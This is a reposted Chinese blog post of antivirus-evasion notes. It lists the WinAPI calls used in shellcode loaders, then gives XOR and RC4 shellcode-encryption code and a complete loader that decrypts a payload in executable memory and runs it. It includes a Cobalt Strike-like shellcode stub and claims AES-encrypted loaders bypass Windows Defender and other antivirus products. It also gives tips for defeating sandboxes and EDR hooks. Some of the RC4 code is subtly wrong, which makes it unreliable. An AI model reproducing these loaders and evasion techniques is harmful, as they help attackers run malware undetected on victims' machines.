免杀笔记 -->API的整理Shellcode加密(过DeFender)

最近更新频率明显下降我懒,那么今天就来记录一下我们的一些常用的API的整理以及ShellCode的加密。

1.WinAPI整理

问我为什么要整理? 就是用起来的时候要左翻右翻

  :: 烦死了

1.VirtualAlloc

VirtualAlloc(NULL,sizeof(buf),MEM_COMMIT,PAGE_EXECUTE_READWRITE);
  1. 该API是LPVOID返回
  2. 其中的sizeof(buf)是你要申请的长度
  3. PAGE_EXECUTE_READWRITE这个是这块内存的属性,你可以申请一个不完整的(没那么容易被杀的,然后转换)

2.Memcpy

memcpy(p,buf,sizeof(buf));
  1. 其中p是目的地址
  2. buf是源地址
  3. sizeof(buf)是源地址的长度

3.CreateThread

CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)buffer, NULL, NULL, NULL);
  1. 第一个参数是安全属性,传入NULL默认是安全
  2. 第二个是默认堆栈大小,NULL是默认大小
  3. 第三个是指向线程执行的函数指针(存在强转)
  4. 第四个是要传递给函数的参数,NULL默认没有
  5. 第五个是默认控制线程的创建方式,NULL表示没有
  6. 最后一个是线程ID,NULL默认不需要返回ID
  7. 返回值就是HANDLE

4.VirtualProtect

VirtualProtect(p, length, PAGE_EXECUTE_READWRITE, NULL);
  1. 其中p是指向内存空间的指针
  2. 第三个参数是内存的属性

5.WriteProcessMemory

WriteProcessMemory(OriginalProcessHandle, RemoteMemory, dllpath, length, NULL);
  1. 第一个参数是原来的进程句柄
  2. 第二个参数就指定目标进程中要写入数据的起始地址
  3. 然后第三个参数就是指向要写入目标进程的数据的缓冲区的指针
  4. 第四个就是写入的长度

6.WaitForSingleObject

WaitForSingleObject(handle, INFINITE)
  1. 第一个参数就是创建完进程的handle
  2. 第二个参数直接写INFINET或者-1就好了

7.GetProcAddress

GetProcAddress(HDMDODULE,L"FUNCNAME")
  1. 第一个参数就是获取到的dll的HMODULE
  2. 第二个参数就是你要找的函数名字

8.CreateFileW

CreateFileW(L"cs.dll", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
  1. 第一个参数就是你要打开或者新建的文件(这样写的话就是默认exe同文件夹下面有cs.dll)
  2. 第二个参数就是属性(一般不会用到ALL)
  3. 第六个参数就是你要选择OPEN_EXISTING还是ALWAYS_CREATE

9.GetFileSize

GetFileSize(hFile, NULL)

这个很明显就是获取长度,这个无需多言

10.HeapAlloc

在堆上分配可读可写内存(不可执行!!!)

HeapAlloc(GetProcessHeap, HEAP_ZERO_MEMORY, length)

11.ReadFile

将文件内容写到缓冲区中

ReadFile(hFile, FileBuffer, length, &RealLength, NULL);
  1. 第一个参数是刚才的文件的句柄 
  2. 第二个是申请的内存指针
  3. 第三个是内存指针的长度
  4. 第四个是实际返回的长度(常用来判断读取到的文字)

2.ShellCode的加密

1.异或加密

这个就是可以说是ShellCode加密最简单的一集了,下面就来个最简单的加密代码

异或加密其实就是将每一个字符都和一个key或者说一个数异或,这就形成了密文。

#include<iostream>
#include<Windows.h>
using namespace std;void encrypt(unsigned char *p , DWORD length,DWORD key)
{for (int i = 0; i < length; i++){p[i] = p[i] ^ key;printf("%02x ", p[i]);}cout << endl;
}
void decrypt(unsigned char* p, DWORD length, DWORD key)
{for (int i = 0; i < length; i++){p[i] = p[i] ^ key;printf("%02x ", p[i]);}cout << endl;
}unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41";int main()
{encrypt(buf, sizeof(buf), 12345);decrypt(buf, sizeof(buf), 12345);return 0;
}

 如果你想解密的话也很好办,直接再异或一次就好了(其实加密的代码完全可以再用一次)

当然了,你还可以搞难度大一点的,随机生成密钥,不过一般都不会这样操作,因为你随机生成密钥,总会有一方是无法操作的(或者说你把你的随机生成的加密密钥写到解密算法里面,不过这样感觉还不如直接传密钥)

2.RC4加密

这个加密还是用的比较多的,其实它的算法流程并没有变,变得只是我们的Key!!!

RC4的加解密需要经过两个流程

  1. RC4init
  2. RC4Cipher

我们一步一步来操作,先是RC4init

我们一般都会定义一个初始化的全局数组S 然后我们会对这个S有以下的操作

void RC4_init(unsigned char *p,unsigned char*key ,DWORD length)
{for (int i = 0; i < 256; i++){s[i] = i;}int j = 0, i ;for (i = 0; i < 256; i++){j = (j + p[i] + key[i]) % 256;char temp = p[i];p[i] = p[j];p[j] = temp;}
}

然后就是我们的RC4Cipher了,至于这两段代码为什么(我也布吉岛)

void RC4Cipher(unsigned char* p, char* file, unsigned char* key, DWORD length)
{int i = 0,j = 0;for (int k = 0; k< length; k++){i = (i + 1) % 256;j = (i + s[i]) % 256;unsigned char temp = p[i];p[i] = p[j];p[j] = temp;file[k] ^= s[(s[i] + s[j]) % 256];}
}

然后就是我们的完整代码了

#include<iostream>
#include<Windows.h>
using namespace std;unsigned char s[256] = { 0x29 ,0x23 ,0xBE ,0x84 ,0xE1 ,0x6C ,0xD6 ,0xAE ,0x00 };
unsigned char key[256] = { 0x61 ,0x64 ,0x6D ,0x69 ,0x6E ,0x00 };
void RC4_init(unsigned char* p, unsigned char* key, DWORD length)
{for (int i = 0; i < 256; i++){s[i] = i;}int j = 0, i;for (i = 0; i < 256; i++){j = (j + p[i] + key[i]) % 256;unsigned char temp = p[i];p[i] = p[j];p[j] = temp;}
}void RC4Cipher(unsigned char* p, unsigned char* file, unsigned char* key, DWORD length)
{int i = 0, j = 0;for (int k = 0; k < length; k++){i = (i + 1) % 256;j = (i + s[i]) % 256;unsigned char temp = p[i];p[i] = p[j];p[j] = temp;file[k] ^= s[(s[i] + s[j]) % 256];}
}void print(unsigned char* p, DWORD length)
{for (int i = 0; i < length; i++) {printf("%02x ", p[i]);}cout << endl;
}
int main()
{HANDLE hFile = CreateFileW(L"cs.dll", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);DWORD length = GetFileSize(hFile, NULL);unsigned char* FileBuffer = (unsigned char*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, length);DWORD RealLength = 0;if (ReadFile(hFile, FileBuffer, length, &RealLength, NULL)){cout << "Read File Successfully" << endl;}RC4_init(s, key, sizeof(key));RC4Cipher(s, FileBuffer, key, sizeof(key));return 0;
}

我们也可以对一个shellcode加密并且解密上线看看效果,其实这里就是再执行这块内存之前,对他加了一次密(模仿提前加密好的ShellCode或者DLL),然后再对这块内存进行解密,并且执行

#include<iostream>
#include<Windows.h>
using namespace std;/* length: 891 bytes */
unsigned char buf[] = ""unsigned char s[256] = { 0x29 ,0x23 ,0xBE ,0x84 ,0xE1 ,0x6C ,0xD6 ,0xAE ,0x00 };
unsigned char key[256] = {0x61 ,0x64 ,0x6D ,0x69 ,0x6E ,0x00 };
void RC4_init(unsigned char* p, unsigned char* key, DWORD length)
{for (int i = 0; i < 256; i++){s[i] = i;}int j = 0, i;for (i = 0; i < 256; i++){j = (j + p[i] + key[i]) % 256;unsigned char temp = p[i];p[i] = p[j];p[j] = temp;}
}void RC4Cipher(unsigned char* p, unsigned char* file, unsigned char* key, DWORD length)
{int i = 0, j = 0;for (int k = 0; k < length; k++){i = (i + 1) % 256;j = (i + s[i]) % 256;unsigned char temp = p[i];p[i] = p[j];p[j] = temp;file[k] ^= s[(s[i] + s[j]) % 256];}
}int main()
{void* p = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);memcpy(p, buf, sizeof(buf));RC4_init(s, key, sizeof(key));RC4Cipher(s,(unsigned char * )p, key, sizeof(key));RC4_init(s, key, sizeof(key));RC4Cipher(s, (unsigned char*)p, key, sizeof(key));((void(*)())p)();return 0;
}

3.AES加密

这个目前是最好的一种shellcode加密方式,无论是对比起RC4(Defender会杀),UUDI,IPV4这些

AES是能过Defender的!!!!(就算你不分离的情况下,就算熵很大!!!)

这里我就不贴代码了,但是我能给屏幕截图,理由大家都懂(不想让他这么快被杀)

然后就是来展示一下它的效果(这个我都没做分离,熵值其实挺大的)

这也说明我们Windows Defender的查杀特点

  1. 沙箱,当你将一个文件放进虚拟机的时候,首先就去defender的沙箱跑,所以这个loader第一步就是抗沙箱(当然,这个和360的QVM比不了)
  2. 内存扫描,当你进行危险操作dump lsass,注入shellcode的时候,defender就会对这块内存进行扫描,如果你是恶意的shellcode就会查杀(当然,这个和卡巴斯基也比不了)

除了用server的defender测试,还用了实体(我同学)的环境,也是能用过的!!!!

火绒

电脑管家

当然了,还有像UUID,IPV4,IPV6这种的加密方式,但是都不如AES加密强大,当然你也可以用RSA,总之加密方法有很多,自行选择。


当然,解密的密钥是不推荐直接写在loader里面,可以分离一个xml,txt,这样的文件(这样也有天然抗沙箱的作用),因为对于强的EDR会关注你的一些函数,然后在去hook你的解密后的内存,如果不做unhook等其他操作,就会被杀! 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/1488013.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

人工智能和计算机视觉领域国际学术会议submission

文章目录 1. AAAI 20252. CVPR 20253. ICCV 20254. IJCAI 20255. ICRA 20256. NeurIPS 20257. ACL 20258. ICLR 2025 1. AAAI 2025 人工智能促进协会&#xff08;AAAI&#xff09;是一个成立于1979年的非营利性科学组织&#xff0c;专注于深化对智能行为和思维机制的科学理解&…

通过 WSL 2 在Windows 上挂载 Linux 磁盘

原文查看 曾为了传输或者共享不同系统的文件频繁地在 Windows 和 Linux 系统之间切换&#xff0c;效率过低&#xff0c;所以尝试通过 WSL 2 在Windows 上挂载 Linux 磁盘。 先决条件 需要在Windows 10 2004 及更高版本&#xff08;Build 19041 及更高版本&#xff09;或 Win…

排查一次线程泄漏

背景&#xff1a;最近经常发生K8S健康检查到应用的心跳接口超时不通&#xff0c;然后发生了重启&#xff0c;第一时间进入pod内部使用任何jvm命令都会导致java进程重启&#xff08;也包括arthas工具使用不了&#xff09;&#xff0c;dump不下来&#xff0c;事故现场没法保留&am…

SpringBoot集成Sharding-JDBC实现分库分表

本文已收录于专栏 《中间件合集》 目录 版本介绍背景介绍拆分方式集成并测试1.引入依赖2.创建库和表3.pom文件配置3.编写测试类Entity层Mapper接口MapperXML文件测试类 4.运行结果 自定义分片规则定义分片类编写pom文件 总结提升 版本介绍 SpringBoot的版本是&#xff1a; 2.3.…

电子期刊制作攻略:从零开始,轻松入门

​随着互联网的快速发展&#xff0c;电子期刊已经逐渐成为人们获取信息和娱乐的重要途径。越来越多的人开始关注并投身于电子期刊的制作行业。那么&#xff0c;如何从零开始&#xff0c;轻松入门电子期刊制作呢&#xff1f; 1.首先点击FLBOOK在线制作制作电子杂志平台 2.点击开…

【odoo17】后端py方法触发右上角提示组件

概要 在前面文章中&#xff0c;有介绍过前端触发的通知服务。 【odoo】右上角的提示&#xff08;通知服务&#xff09; 此文章则介绍后端触发方法。 内容 直接上代码&#xff1a;但是前提一定是按钮触发&#xff01;&#xff01;&#xff01;&#xff01;&#xff01; def bu…

无法解析插件 org.apache.maven.plugins:maven-war-plugin:3.2.3(已解决)

文章目录 1、问题出现的背景2、解决方法 1、问题出现的背景 最开始我想把springboot项目转为javaweb项目&#xff0c;然后我点击下面这个插件 就转为javaweb项目了&#xff0c;但是我后悔了&#xff0c;想要还原成springboot项目&#xff0c;点开项目结构关于web的都移除了&am…

HarmonyOS Next 省市区级联(三级联动)筛选框

效果图 完整代码 实例对象 export class ProvinceBean {id?: stringpid?: stringisSelect?: booleandeep?: objectextName?: stringchildren?: ProvinceBean[] }级联代码 import { MMKV } from tencent/mmkv/src/main/ets/utils/MMKV import { ProvinceBean } from ..…

【Git】merge合并分支

两个分支未修改同一个文件的同一处位置: Git自动合并 两个分支修改了同一个文件的同一处位置:产生冲突 例&#xff1a; 在master分支修改了main同时&#xff0c;feat分支也修改了相同的文件 合并的时候就会产生冲突 解决方法: Step1- 手工修改冲突文件&#xff0c;合并冲突内容…

【数据结构】单链表的增删改查

介绍 链表是有序的列表&#xff0c;但是它在内存中是如下存储的&#xff1a; ①链表以节点的方式进行存储&#xff0c;是链式存储的 ②每个节点包含 data 域、next 域&#xff1a;指向下一节点 ③链表的各个节点不一定是连续存放的 ④链表分为有头节点的链表和没有头节点的链表…

比肩 GPT-4o 的 Llama 3.1 本地部署快速体验的方法

比肩 GPT-4o 的 Llama 3.1 本地部署快速体验的方法 flyfish Llama 3.1模型简介 Llama 3.1是一系列大型语言模型&#xff0c;包含以下几种规模&#xff1a; 8B 参数&#xff1a;模型中有80亿个参数 70B 参数&#xff1a;模型中有700亿个参数 405B 参数&#xff1a;模型中有4…

深入理解MySQL锁机制与性能优化:详解记录锁、间隙锁、临键锁及慢SQL查询分析

1. 事务隔离和锁机制详解 记录锁 第一种情况,当我们对于唯一性的索引(包括唯一索引和主键索引)使用等值查询,精准匹配到一条记录的时候,这个时候使用的就是记录锁。 比如 where id = 1 4 7 10。 间隙锁 第二种情况,当我们查询的记录不存在,无论是用等值查询还是范围…

【vue教程】四. Vue 计算属性和侦听器

目录 本章涵盖知识点回顾计算属性&#xff08;Computed&#xff09;创建计算属性计算属性的多样性计算属性的数组过滤计算属性的复杂表达式 计算属性 vs 方法计算属性的实例演示 侦听器&#xff08;Watchers&#xff09;创建侦听器侦听器的高级用法侦听器的深度观察侦听器的立即…

无线遥控控制直流电机和无刷电机开关

一 目的 此文章记录了arduino与陶晶驰串口屏实现联动&#xff0c;点击屏幕双态开关远程控制arduino2560板载的直流电机和无刷电机开关。为手搓乒乓球发球机做准备。 二 接线 2.1串口屏接线 串口屏与Arduino UNO接线如下&#xff1a; ———————————————— RX …

pdf2image:将PDF文档转化为图像的Python魔法

标题&#xff1a;探索pdf2image&#xff1a;将PDF文档转化为图 像的Python魔法 背景 在数字时代&#xff0c;我们经常需要处理各种格式的文档&#xff0c;尤其是PDF文件。PDF以其跨平台的可读性和稳定性而广受欢迎。然而&#xff0c;有时我们需要将PDF文件转换成图像格式&am…

C++ - char*、const char*、char[]、string

const char* const char* 用来定义字符串常量。 char[ ] char型的字符数组是一种定长的数组&#xff0c;存储指定长度的字符序列&#xff0c;数组中的每个元素都是一个char类型的变量&#xff0c;如&#xff1a; char arr[] {h, a, l, l, o, \0}; char c arr[0]; // 访问…

CentOS怎么关闭自动锁屏?

禁止自动锁屏 有时候几分钟不用Centos&#xff0c;系统就自动锁屏了&#xff0c;这是一种安全措施&#xff0c;防止别人趁你不在时使用你的系统。但对于大部分人而言&#xff0c;这是没有必要的&#xff0c;尤其是Centos虚拟机&#xff0c;里面没啥重要的东西&#xff0c;每次…

光伏发电管理软件:光伏企业的核心驱动力

光伏产业面对日益增长的装机容量、复杂多变的运维需求以及激烈的市场竞争&#xff0c;光伏企业如何高效管理、优化运营、提升效益&#xff0c;成为了行业关注的焦点。在此背景下&#xff0c;鹧鸪云光伏发电管理软件应运而生&#xff0c;并逐渐成为光伏企业的核心驱动力。 一、提…

Transformer合集

资料 位置编码&#xff1a;https://zhuanlan.zhihu.com/p/454482273 自注意力&#xff1a;https://zhuanlan.zhihu.com/p/455399791 LN&#xff1a;https://zhuanlan.zhihu.com/p/456863215 ResNet&#xff1a;https://zhuanlan.zhihu.com/p/459065530 Subword Tokenizati…

效率翻倍的秘密:探索AI工具的新世界

大家好&#xff0c;我是你们的效率小助手米兔&#xff01;你是否曾在加班熬夜中挣扎&#xff0c;对着电脑屏幕发呆&#xff0c;感觉工作效率低到怀疑人生&#xff1f;别急&#xff0c;今天我要给你们安利几款超给力的AI工具&#xff0c;让你的工作变得轻松又愉快&#xff01; …